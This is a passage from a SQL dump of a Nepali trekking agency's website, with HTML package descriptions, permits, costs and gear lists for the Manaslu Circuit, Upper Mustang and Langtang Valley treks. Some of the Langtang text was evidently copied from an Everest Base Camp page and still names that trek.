atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Accommodation&nbsp;</h2><p style=\"text-align:justify;\"><br>During the trekking trail to Manaslu Circuit, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night. The attached room is possible in low altitude but in high altitude after Manang, there will be very basic Tea house Room with Beds.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Food and water&nbsp;</h2><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Manaslu Circuit. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on. But in low region, if Tea houses can provide fresh meat of Chicken can eat easily.&nbsp;<br><br>Do not drink water from river or waterfall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Guide&nbsp;</h2><p style=\"text-align:justify;\"><br>A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Porter&nbsp;</h2><p style=\"text-align:justify;\"><br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Even in Manaslu region, the Brahmin and Chhetri people are working as trekking porters nowadays. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Dharapani, we suggest for visitor to have TIP to porters for their support and cooperation. &nbsp;</p><h2 style=\"text-align:justify;\">Telephone and Internet&nbsp;</h2><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is not available all the way to Manaslu Circuit. There are multiple option for Internet, mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. NCELL and NTC are cheaper that works during trekking trail as well as Kathmandu too. Even trekkers can purchase WIFI in local tea houses which is chargeable. Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. The both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.</p><h2 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h2><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trekking to Manaslu Circuit, most of the places, toilet should be shared by all trekkers due to common Tea houses only with normal beds in the room. Bucket Shower is possible in high altitude after Samdo Village due to no running water. But during the time of bad weather for example if heavy snow at that time it is hard to get shower above 4500 meters. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection. During the peak season, even in lower region the guest houses can be busy so you will have common Rooms during trek to Manaslu Circuit.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Insurance&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Manaslu. We suggest trekkers to make plan to be covered up to 5300 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Manaslu Circuit.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Permit&nbsp;</h2><p style=\"text-align:justify;\"><br>Trekking permit is mandatory to entry Manaslu region. So, we provide Manaslu Conservation Area Permit (MCAP) and Annapurna Conservation Area Permit (ACAP), which cost 30$ per person each region.&nbsp;<br><br>Manaslu Special permit (From September to November per week per person US$100 and After 7 days per day per person US$ 10 and From December to August per week per person US$75and After 7 days per day per person US$ 7 /or equivalent convertible foreign currency.&nbsp;<br><br>Manaslu is restricted area so without a government holder licensed Guide, foreign tourist cannot entry to Manaslu region. So a Trekking guide is compulsory.&nbsp;<br>Permits can be purchased in Nepal Tourism Board by our company. During trek, need to show Permit in checking points from our trekking guide and provide permit to you after finish the trek in Besisahar. Our company need your passport copy and 2 copy of passport size Photos to make permit at Kathmandu.</p><h2 style=\"text-align:justify;\"><br>Trek Equipment List&nbsp;</h2><p style=\"text-align:justify;\"><br>While trekking to Manaslu Circuit, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Annapurna Circuit. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Manaslu Circuit Trek.&nbsp;</p><ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;text-align:justify;\">Sleeping Bag (-20)&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Trekking poles&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof hiking boot</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof warm Gloves</li><li style=\"list-style-type:circle;text-align:justify;\">Sport shoes&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof hiking Pant</li><li style=\"list-style-type:circle;text-align:justify;\">Fleece pant</li><li style=\"list-style-type:circle;text-align:justify;\">Comfortable underwear&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Duffel Bag, 90L</li><li style=\"list-style-type:circle;text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Water bottle&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Down Jacket</li><li style=\"list-style-type:circle;text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Sun Glass</li><li style=\"list-style-type:circle;text-align:justify;\">Sun Cream</li><li style=\"list-style-type:circle;text-align:justify;\">Lip care&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Headlamp with extra batteries</li><li style=\"list-style-type:circle;text-align:justify;\">Neck Gaiter &nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Lightweight thermal tops</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"list-style-type:circle;text-align:justify;\">Raincoat&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Travel Towel&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Camera</li><li style=\"list-style-type:circle;text-align:justify;\">Personal first Aid Kit (Though our guide also has First Aid Kit)</li></ul><p>&nbsp;</p>', 'Manaslu Circuit Trekking | Manaslu Trekking Cost and Itinerary 2024/2025', 'Explore on the thrilling Manaslu Circuit Trekking adventure with Adventure Planner. Experience stunning mountain scenery, diverse landscapes, and rich cultural heritage as you trek through remote villages in Nepal. Join us for an unforgettable journey in the Himalayas!', 'Manaslu Circuit Trekking, trekking in Nepal, manaslu trekking, manaslu trekking cost and itinerary, Himalayas trekking, adventure tours, scenic views, cultural heritage, trekking packages, Nepal trekking, Adventure Planner, manaslu circuit trekking cost, manaslu circuit trekking itinerary,', NULL, '2023-06-28 07:29:17', '2024-12-31 06:40:53');
INSERT INTO `packages` (`id`, `name`, `slug`, `image`, `banner`, `gallery`, `status`, `description`, `short_description`, `map`, `discount`, `location`, `special_title`, `special`, `price`, `inclusions`, `exclusions`, `overview`, `seo_title`, `seo_description`, `seo_keywords`, `seo_schema`, `created_at`, `updated_at`) VALUES
(14, 'Upper Mustang Trekking', 'upper-mustang-trekking', '64', NULL, '66,65,68,67,63,64', 1, '<p style=\"text-align:justify;\">The trek to Upper Mustang is through off-the-beaten-path, an almost tree-less barren landscape, along with a deeply undulating rocky trail, with the panoramic view of Nilgiri, Annapurna, Dhaulagiri and a range of other soaring Peaks. The region also presents you with a lost culture of the forbidden lands of the past. Mustang is an ancient forbidden territory, bordered by the Tibetan Plateau in north and world\'s deepest gorge in South.&nbsp;<br><br>Upper Mustang was restricted area until 1992; it is one of the most preserved regions in the world due to its hidden isolated nature from the modern world, having the majority of the population still speaking traditional Tibetan Languages. Mustang is driven from the Tibetan word \'plain of aspiration\' which was opened to foreigners after 1992. It is one of the popular trekking routes of Nepal. The territory of Upper Mustang remained isolated from the 14th century.&nbsp;<br>The entire area of Mustang is included in the Annapurna Conservation Area. The monarchy in Mustang was kicked out by the republican government of Nepal on October 7, 2008. The monarchy in Mustang ceased to exist by order of the Government of Nepal in 2008 after Nepal became a federal democratic Republic. It is also known as mini Tibet of Nepal.&nbsp;<br><br>The local residents of Upper Mustang are the Lobas. The language, tradition, customs, and heritage are very similar to the neighboring land of Tibet. The territory of Upper Mustang is walled by stone and Mud is named Lo Manthang. Long wall of beautiful prayer wheels, herds of farm animals, Old King Palace and historical Monastery inside wall, similar types of houses near the area makes your trip historical. The Amchi museum and school are a must-visit to further comprehend the heritage.<br><br>Mustang is Tibetan influenced culture and tradition with semi-arid desert with deep ravines, rock shelves, snowy peaks having less rain and an amazing view of Annapurna, Nilgiri, and Dhaulagiri. &nbsp;Choser cave located in Upper Mustang is an amazing destination having 50+ Private room and community Kitchen. When Tibetan people were chased away from Tibet, they hide inside this cave to protect their life. Monasteries build in the 13th century is also another focal point of your trip to Mustang.&nbsp;<br><br>Now, due to road construction, even one can go by private Jeep to Lo- Manthang. We recommend you to hike from Jomsom to Lo-Manthang and way back by Jeep to Jomsom. &nbsp;On the way to Lo-Manthang, we escape the road path; explore trek to off-the-beaten-path to Lo-Manthang where possible.</p><p style=\"text-align:justify;\">&nbsp;</p><h5 style=\"text-align:justify;\">Highlights</h5><ul><li style=\"text-align:justify;\">Walk through off the beaten path, Hidden Valley and barren land</li><li style=\"text-align:justify;\">View the amazing Himalayan sights of Annapurna, Dhalulagiri and Nilgiri</li><li style=\"text-align:justify;\">Encounter Old King Palace, Historical Monastery, walled Lo – Manthang Village&nbsp;</li><li style=\"text-align:justify;\">Visit Choser Cave, Tsarang Monastery, and Kagbeni Monastery&nbsp;</li><li style=\"text-align:justify;\">Scenic flight from Pokhara – Jomsom&nbsp;<br>&nbsp;</li></ul>', 'Upper Mustang was restricted area until 1992; it is one of the most preserved regions in the world due to its hidden isolated nature from the modern world, having the majority of the population still speaking traditional Tibetan Languages. Mustang is driven from the Tibetan word \'plain of aspiration\' which was opened to foreigners after 1992. It is one of the popular trekking routes of Nepal. The territory of Upper Mustang remained isolated from the 14th century. \r\nThe entire area of Mustang is included in the Annapurna Conservation Area.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:square;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:square;\">3 star Hotel in Kathmandu and Pokhara with Twin Share including breakfast only</li><li style=\"list-style-type:square;\">Pokhara to Jomsom Flight (before Trek) and Jomsom to Pokhara flight (after Trek) With Guide Flight too&nbsp;</li><li style=\"list-style-type:square;\">Flight from Pokhara to Kathmandu</li><li style=\"list-style-type:square;\">Kathamndu to Pokhara drive by private Transport&nbsp;</li><li style=\"list-style-type:square;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:square;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:square;\">Twin share Tea House Accommodation with Breakfast only during Upper Mustang Trekking&nbsp;</li><li style=\"list-style-type:square;\">Annapurna Conversation Area Project Permit, TIMS, Mustang Special Permit and all Documents for Annapurna Trekking</li><li style=\"list-style-type:square;\">Nepal Government Taxes and Office Service Charge&nbsp;<br><br>&nbsp;</li></ul>', '<ul style=\"list-style-type:square;\"><li style=\"list-style-type:square;\">Lunch &amp; Dinner during Kathmandu and Pokhara&nbsp;</li><li style=\"list-style-type:square;\">Lunch &amp; Dinner during Upper Mustang Trekking</li><li style=\"list-style-type:square;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:square;\">International Flight Ticket</li><li style=\"list-style-type:square;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:square;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:square;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:square;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:square;\">Any other things not mentioned&nbsp;<br>&nbsp;</li></ul>', NULL, 'Upper Mustang Trekking | Mustang Trekking | Upper Mustang TrekkingBest Cost 2025', 'Discover the mystical Upper Mustang on an unforgettable trekking journey. Explore ancient Tibetan culture, dramatic landscapes, and remote villages in Nepal’s Forbidden Kingdom. Book your adventure with Adventures Planner now!', 'Upper Mustang Trekking, Mustang Trek, Trekking in Upper Mustang,Mustang Trekking, Upper Mustang TrekkingBest Cost 2025, Forbidden Kingdom Nepal, Mustang Region Trek, Nepal Trekking, Tibetan Culture Trek, Nepal Adventure, Remote Nepal Trekking, Upper Mustang Travel', NULL, '2023-06-28 07:37:24', '2024-11-12 14:51:01'),
(15, 'Lantang Valley Trekking', 'lantang-valley-trekking', '355', NULL, '355,357,356,354,353', 1, '<p style=\"text-align:justify;\">Langtang valley is short and easy trekking trail of Nepal located north part of Kathmandu valley. It is adventure trekking destination near Kathmandu, offers spectacular Langtang Valley, high alpine scenery, unspoiled trail, rocky Mountain, diverse flora and fauna and snowcapped Himalayan Peaks. The Himalayan view such as Langtang (7,234m) Langtang Lirung (7,245m) Dorje Lakpa (6,989m), Shishapangma (8,027m), Gangchenpo (6,387m) and more silver peaks are the main eye-catching point of this trekking trail. Due to massive Earthquake of 2015 in Nepal, whole Langtang Village was destroyed, now it is getting renovated.&nbsp;<br><br>The village settlement of Langtang region are mostly Tibetan and Tamang whose generation goes back to Tibet many years ago. The living standard, workmanship, costume, conventionally built stone residence, attractive carved wooden entrances present the classical inheritance of Himalayan region. The local people of this region are depending on agriculture having sheep and yak herd and they also product vegetables and their living hood such as livestock, trade, cultivation with Kerung border in Tibet.&nbsp;<br><br>The land is protected by Langtang National Park which encompasses variety of climatic zones from subtropical to alpine. The lower part of the region is full of forest such as Pine, Oak, Maple, rhododendron having animals like Himalayan black bear, Himalayan Thar and Red Pandas. The higher part of this region is occupied by glacier, rock, waterfalls and white Himalayan peaks. Langtang Valley trekking begins driving from Kathmandu to Syabru Besi and head up to Lama Hotel, Langtang village, Kyanjin Gompa following Langtang Khola River, ascend towards Tsherko Ri (4,773m) and it ends same way downhill walk back to Syabru Besi. After finishing Trek at Syabru Besi, we drive to Kathmandu by Private Jeep. The best time to go Langtang valley Trek is in spring season (March, April, and May) and autumn season (September, October, November)<br>&nbsp;</p><h3 style=\"text-align:justify;\">Highlights</h3><ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;text-align:justify;\">Beautiful Scenic drive from Kathmandu to Syabru Besi</li><li style=\"list-style-type:circle;text-align:justify;\">Explore Langtang National Park, Langtang Valley and classical Tibetan village</li><li style=\"list-style-type:circle;text-align:justify;\">Encounter &nbsp;unspoiled Trekking trail, alpine scenery and diverse flora and fauna</li><li style=\"list-style-type:circle;text-align:justify;\">Adventure climb to Tsherko Ri (4,773m), Amazing view of Langtang glacier</li><li style=\"list-style-type:circle;text-align:justify;\">Welcoming Tamang people and their respectable hospitality&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Magnificent Himalayan view of Langtang (7,234m) Langtang Lirung (7,245m), Dorje-Lakpa (6,989m), Shishapangma (8,027m), Gangchenpo &nbsp;(6,387m)&nbsp;<br>&nbsp;</li></ul>', 'Langtang valley is short and easy trekking trail of Nepal located north part of Kathmandu valley. It is adventure trekking destination near Kathmandu, offers spectacular Langtang Valley, high alpine scenery, unspoiled trail, rocky Mountain, diverse flora and fauna and snowcapped Himalayan Peaks. The Himalayan view such as Langtang (7,234m) Langtang Lirung (7,245m) Dorje Lakpa (6,989m), Shishapangma (8,027m), Gangchenpo (6,387m) and more silver peaks are the main eye-catching point of this trekking trail. Due to massive Earthquake of 2015 in Nepal, whole Langtang Village was destroyed, now it is getting renovated.', NULL, NULL, 'Nepal', NULL, NULL, 0, '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Airport Pickup and drop in Private Transport&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu Sightseeing with Cultural Tour Guide, Entrance Fees of Hindu/Buddhist Temple</li><li style=\"list-style-type:circle;\">3 star Hotel in Kathmandu with Twin Share including breakfast only&nbsp;</li><li style=\"list-style-type:circle;\">Kathmandu to Syabru Besi drive by Private Jeep (before trek)&nbsp;</li><li style=\"list-style-type:circle;\">Syabru Besi to Kathmandu drive by Private Jeep (after trek)</li><li style=\"list-style-type:circle;\">English Speaking Trekking Guide including his salary, insurance, equipment, Food and Accommodation&nbsp;</li><li style=\"list-style-type:circle;\">Strong Trekking Porter including his salary, insurance, equipment, Food and Accommodation</li><li style=\"list-style-type:circle;\">Twin share Tea House Accommodation with Breakfast only during Langtang Valley Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Langtang National Park Permit, TIMS and All document for Langtang Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Nepal Government Taxes and Office Service Charge</li></ul><p>&nbsp;</p>', '<ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Kathmandu</li><li style=\"list-style-type:circle;\">Lunch &amp; Dinner during Langtang Valley Trekking</li><li style=\"list-style-type:circle;\">Nepal Visa Fee (30$ for 15 Days and 50$ for 30 Days)&nbsp;</li><li style=\"list-style-type:circle;\">International Flight Ticket</li><li style=\"list-style-type:circle;\">Personal Trekking /Travel Insurance&nbsp;</li><li style=\"list-style-type:circle;\">Personal Trekking equipment and Clothes&nbsp;</li><li style=\"list-style-type:circle;\">Hot Shower, Wi-Fi in mountain, Battery Charge and all personal expenses during Trekking&nbsp;</li><li style=\"list-style-type:circle;\">Tips for Guide &amp; Porter</li><li style=\"list-style-type:circle;\">Any other things not mentioned&nbsp;<br>&nbsp;</li></ul>', '<h2 style=\"text-align:justify;\">Trekking Difficulty&nbsp;</h2><p style=\"text-align:justify;\"><br>Is it difficult trek to Langtang Valley? &nbsp;You do not need to be a good Football player or Olympic athlete to success Langtang Valley trek. Anyone who is mentally and physically fit can easily completer the journey to Langtang Valley. Walking slowly, drink plenty of water, enjoying nature, avoiding cold, eating a balanced died and mentally daring to reach EBC with happy mood are the hallmarks of your successful journey to destination. Though, Langtang Valley is moderate trekking trail having steep hills with zigzagged path, sometime with ice but there will be no need any technical equipment or skill.&nbsp;</p><h2 style=\"text-align:justify;\"><br>High Altitude Sickness&nbsp;</h2><p style=\"text-align:justify;\"><br>If the trekkers have symptoms of headache, loss of appetite, diarrhea, shortness of breath, fatigue, nausea, rapid pulse with sleeping problem, he/she is suffered by high altitude sickness. &nbsp;The other factors such as changing weather, cold, sun, wind, low oxygen and bad foods are the key component of high altitude sickness. So trekkers need to warm while trekking EBC with proper clothes and equipment. It can affect people of any age, sex and physical conditions. So, we suggest our clients, do not drink alcohol and smoke, drink plenty of water while hiking to Langtang Valley, train your body and strength up before trekking, eat energy food, and mentally be happy during your journey. The most common medicine for preventing high altitude sickness is Diamox or Acetazolamide. Even our guide takes Diamox on the route which is easily purchased in Kathmandu and Namche Bazaar. Ascending down is the solution to avoid high altitude as the altitude sickness affects people from the elevation of 2600 meters above sea level. For normal high altitude sickness our guide helps to control by providing medicine and good food and he takes to medication center where available. If the trekkers feel bad, we send private helicopter for rescue, which is covered by your personal travel insurance. So, individual insurance is necessary while trekking to Langtang Valley.</p><h2 style=\"text-align:justify;\"><br>Best Time to Go</h2><p style=\"text-align:justify;\">&nbsp;<br>If you are looking trek to Langtang Valley, must know the best time to visit such as weather and circumstances with other factors that affects in your trip. The best time to visit Everest Base Camp is March – May and Sep – Nov due to clear sky and pleasant temperature. &nbsp;Spring and autumn is considered as the best season to trek Everest Base Camp. In spring, the days are warmer and longer whereas the autumn has short days. October and April is the peak touristic months having more crowd but the weather is fantastic and amazing.<br><br>Pre-monsoon is called spring season that covers the month of March, April and May whereas the lower region of Everest, rhododendron and flower blooms with warm temperature. In higher route, there will be more chance of problematic snowfall with sunny weather.&nbsp;<br><br>Post-monsoon is called autumn season that covers the month of September, October and November whereas the Himalaya is full of blue sky, pleasant atmosphere, moderate temperature with less chance of problematic snowfall. As for the climate, it is neither warmer at day or not freezing cold at night. The Tea houses, cafes are full of tourist and visitors in autumn season.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Accommodation&nbsp;</h2><p style=\"text-align:justify;\"><br>During the trekking trail to Langtang Valley, trekkers sleep and eat in Tea houses. Tea houses provide tea and food which is the best possible accommodation available on the route. Tea houses offer very basic accommodation facilities having bed and blanket inside the room and some places attached bathroom too. The tea houses looks very basic and normal but it is neat and clean. In our program, we provide simple/normal lodge for trekkers and according of their choice and interest also can provide luxury lodge where available. Though, tea houses provide us the blanket but it is not enough to reduce cold. That is why, we suggest to bring sleeping bag own self to make warm and safety night.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Food and water&nbsp;</h2><p style=\"text-align:justify;\"><br>Food and water is very important things during the trekking to Langtang Valley. Tea houses provide breakfast, Lunch, Dinner and Tea/coffee. Trekkers can choose the food from Menu list what they like to eat such as Nepali food (Dal Bhat), soups, snakcs, momos, fried Rice, continental and American breakfast, porridge, Bread with Jam and honey, Eggs, noodles, spaghetti, spring roll, fried potatoes, and steak. We recommend to have vegetarian food during trek due to porter and yaks carry meat from lower region which is not refrigerated that may cause stomach problem. Therefore, we would highly recommend to avoid meat dishes on the route with exception of tinned fish and preserved items. So, no need to carry food except chocolates, such as Diary milk, Snickers, Mars and so on.&nbsp;<br><br>Do not drink water from river or water fall; local people can easily drink the running water that is not fit for foreigners as they do not have habit before. So, we recommend to drink bottle water or boiled water for good health that keeps our body safe. Even, trekkers keep purification tablet inside water, kills 99.9% of bacteria, virus and protozoa. Because of the altitude, it is recommend to drink 2-3 liters per day.</p><h2 style=\"text-align:justify;\">&nbsp;<br>Hire a Guide&nbsp;</h2><p style=\"text-align:justify;\"><br>A person having license from Nepal government, who guides visitor, interprets the cultural and nature, leads the right track to the Himalaya having responsible work recognized by the appropriate authority is known as trekking guide. Guide not only led the way rather he is the ambassador of country explaining People, history, geography, religion and make successful attempt for visitors.&nbsp;<br><br>Trekking guide is also knows as Trek Leader who makes easy access in Himalayan region to book Tea houses, order food for visitors, manage porters, and lead the right trail to destination. During trekking, Guide is a good friend, makes entertainment with fun and laughter too. So, Trekking guides has very important role who not only make enjoyable trip but also educate the visitors through interpretation and contribute sustainability of local environment. The trekking agency should choose appropriate guide by providing suitable training time and again though they are government license holder. Guides expected to work to a high level of customer service keeping good reputation of the company and clients.&nbsp;<br><br>That is why our Guide has good communication skill, immediately solve the problem, decision making with self-motivation having physically strong and fit. Either the visitor go to Everest region trek, Annapurna region trek, Upper Mustang trek, Langtang region trek or other trekking trail, our guide makes successful effort to complete the trip.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Hire a Porter&nbsp;</h2><p style=\"text-align:justify;\"><br>Trekking porters are those people who carry the gear of trekkers from one place to other, lives in village especially from Sherpa, Tamang, Gurung and Rai, community. They are very innocent, kind, pleasant and smiling having broken English will be together from beginning to the end of the trip. Porters are the backbone of the trekking without them it will be incomplete. A trekking porter carries 25 kg to 30 kg of gears who are very fit from mountain altitude. Porters are the transport of the visitors so must be good relationship with Guide and trekkers. During the end of the trek at Kathmandu, we suggest for visitor to have TIP to porters for their support and cooperation.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Telephone and Internet&nbsp;</h2><p style=\"text-align:justify;\"><br>The internet, telephone and mobile phone is available all the way to Langtang Valley. There are multiple option for Internet and mobile network such as NTC and NCELL. Sometimes internet becomes poor during the time of bad weather or snow. Even the guest houses have WI-FI during the trek to Langtang Valley which is not free, may charge to you.&nbsp;<br><br>Due to the exciting geography and sometime bad weather conditions the mobile network has not access in all parts of the trial but the network such as NCELL and NTC works most of the places. Both NTC and NCELL Sim Cards can purchase at Tribhuvan Interantional Airport, Kathmandu or in the street of touristic town Thamel.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Toilet and Shower&nbsp;</h2><p style=\"text-align:justify;\"><br>Wherever travel in the Himalaya, must know the circumstances of toilet and shower before depart to the destination. During the trek to Langtang Valley, toilet and shower should be shared by all trekkers due to common Tea houses only with normal beds in the Room. There are the opportunity of attached Room with toilet and Shower in some places; we provide it where possible to get it.&nbsp;<br><br>But during the time of bad weather for example if heavy snow at that time it is hard to get shower in Langtang Valley and Kyanjin Gumpa. We suggest to bring toilet paper during the trail due to very cold water for your safety and protection. During the peak season, even in lower region the guest houses can be busy so you will have common Rooms during trek to Langtang Valley.</p><h2 style=\"text-align:justify;\"><br>Trek Insurance&nbsp;</h2><p style=\"text-align:justify;\"><br>Trek insurance is very important component during the trek to Everest Base Camp. We suggest trekkers to make plan to be covered up to 4,800 meters. Due to unexpected event or emergency evacuation, if the trekkers feel uncomfortable to walk in Himalaya, Helicopter rescue is necessary along with administration in hospital. So, need insurance for your safety and protection. There are so many insurance companies, you may find in internet and make strong insurance for your security. There may occur so many causes such as altitude sickness, accidents, physical illness, flight cancellation, that is why need to make insurance before you fly to Nepal for Langtang Valley Trek.</p><h2 style=\"text-align:justify;\">&nbsp;<br>Trek Permit&nbsp;</h2><p style=\"text-align:justify;\"><br>Langtang valley is located inside Langtang national Park. Trek permit is mandatory during the trek to Langtang Valley. Langtang national park permit cost 30$ per person in which our agency provide it after getting passport size photo and passport copy, connecting with Nepal Tourism Board. TIMS (Trekking Information Management System) is also required for Langtang Valley trek, it cost 10$ per person.&nbsp;</p><h2 style=\"text-align:justify;\"><br>Trek Equipment List&nbsp;</h2><p style=\"text-align:justify;\"><br>While trekking to Langtang Valley, need to sufficient trekking gears for your protection and safety. Trekking gears not only make protection for your body, it makes successful trip to Everest Base Camp. The trekking gears also have benefit to remove high altitude sickness and make easy access to destination. The following gears are mandatory towards Langtang Valley&nbsp;</p><ul style=\"list-style-type:circle;\"><li style=\"list-style-type:circle;text-align:justify;\">Sleeping Bag (-20)&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Trekking poles&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof hiking boot</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof warm Gloves</li><li style=\"list-style-type:circle;text-align:justify;\">Sport shoes&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof hiking Pant</li><li style=\"list-style-type:circle;text-align:justify;\">Fleece pant</li><li style=\"list-style-type:circle;text-align:justify;\">Comfortable underwear&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Warm and thin socks&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Duffel Bag, 90L</li><li style=\"list-style-type:circle;text-align:justify;\">Hand carry bag&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Water bottle&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Hiking Shorts&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Down Jacket</li><li style=\"list-style-type:circle;text-align:justify;\">Warm Cap &amp; Sun Cap&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Sun Glass</li><li style=\"list-style-type:circle;text-align:justify;\">Sun Cream</li><li style=\"list-style-type:circle;text-align:justify;\">Lip care&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Headlamp with extra batteries</li><li style=\"list-style-type:circle;text-align:justify;\">Neck Gaiter &nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Lightweight thermal tops</li><li style=\"list-style-type:circle;text-align:justify;\">Waterproof jacket with hood, waterproof and breathable</li><li style=\"list-style-type:circle;text-align:justify;\">Rain coat&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Travel Towel&nbsp;</li><li style=\"list-style-type:circle;text-align:justify;\">Camera</li><li style=\"list-style-type:circle;text-align:justify;\">Personal first Aid Kit (Though our guide 